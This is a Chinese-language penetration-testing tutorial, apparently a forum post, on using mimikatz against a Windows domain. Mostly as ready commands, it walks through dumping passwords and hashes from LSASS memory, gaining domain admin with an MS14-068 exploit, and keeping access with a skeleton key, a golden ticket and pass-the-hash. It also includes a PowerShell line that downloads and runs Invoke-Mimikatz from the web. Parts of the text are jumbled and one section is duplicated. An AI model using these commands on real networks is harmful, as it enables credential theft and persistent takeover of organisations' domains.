内网渗透中mimikatz的使用

0x01 简介

mimikatz，很多人称之为密码抓取神器，但在内网渗透中，远不止这么简单

0x02 测试环境

网络资源管理模式：

域
已有资源：

域内一台主机权限
操作系统：win7 x64
域权限:普通用户

0x03 测试目标

1、获得域控权限 2、导出所有用户口令 3、维持域控权限

0x04 测试过程

1、获取本机信息

1. mimikatz：
   
2. 
   
3. privilege::debug
   
4. sekurlsa::logonpasswords
复制代码

获取本机用户名、口令、sid、LM hash、NTLM hash 如图

2、攻击域控，获得权限

使用ms14-068漏洞

ms14-068.exe -u -p -s -d
生成伪造缓存test.ccache:

导入伪造缓存: mimikatz：

1. kerberos::ptc test.ccache
   
2. 登陆：
   
3. 
   
4. net use \\A-635ECAEE64804.TEST.LOCAL
   
5. dir \\A-635ECAEE64804.TEST.LOCAL\c$
复制代码

3、导出域（1）直接获取内存口令 mimikatz：

1. privilege::debug
   
2. sekurlsa::logonpasswords
   
3. （2）通过内存文件获取口令 使用procdump导出lsass.dmp mimikatz：
   
4. 
   
5. sekurlsa::minidump lsass.dmp
   
6. sekurlsa::logonPasswords full
   
7. （3）通过powershell加载mimikatz获取口令
   
8. 
   
9. powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
   
10. （4）导出所有用户口令 使用Volue Shadow Copy获得SYSTEM、SAM备份（之前文章有介绍） mimikatz：
    
11. 
    
12. lsadump::sam SYSTEM.hiv SAM.hiv持域控权限
    
13. 
    
14. （1）Skeleton Key mimikatz：
复制代码
1. privilege::debug
   
2. misc::skeleton
   
3. 万能钥匙，可使用任意用户登陆域控
   
4. 
   
5. net use \\A-635ECAEE64804.TEST.LOCAL mimikatz /user：test
复制代码

4、维持域控权限

（1）Skeleton Key mimikatz：

1. privilege::debug
   
2. misc::skeleton
   
3. 万能钥匙，可使用任意用户登陆域控
   
4. 
   
5. net use \\A-635ECAEE64804.TEST.LOCAL mimikatz /user：test

复制代码

（2）golden ticket mimikatz：

lsadump::lsa /patch
获取krbtgt的ntlmhash，如图

生成万能票据： mimikatz：

1. kerberos::golden /user:Administrator /domain:test.local /sid:S-1-5-21-2848411111-3820811111-1717111111 /krbtgt:d3b949b1f4ef947820f0950111111111 /ticket:test.kirbi
   
2. 导入票据： mimikatz：
   
3. 
   
4. kerberos::ptt test.kirbi
   
5. 登陆域控：
   
6. 
   
7. net use \\A-635ECAEE64804.TEST.LOCAL
   
8. dir \\A-635ECAEE64804.TEST.LOCAL\c$

复制代码

Tips:

Golden Ticket不多说，自行理解
By default, the Golden Ticket default lifetime is 10 years
password changing/smartcard usage does not invalidate Golden Ticket;
this ticket is not emitted by the real KDC, it’s not related to ciphering methods allowed;
NTLM hash of krbtgt account is never changed automatically.
（3）Pass-The-Hash mimikatz：

sekurlsa::pth /user:Administrator /domain:test.local /ntlm:cc36cf7a8514893efccd332446158b1a

5、补充

登陆域控，刷新扫雷记录，留下名字;D mimikatz：

minesweeper::infos
如图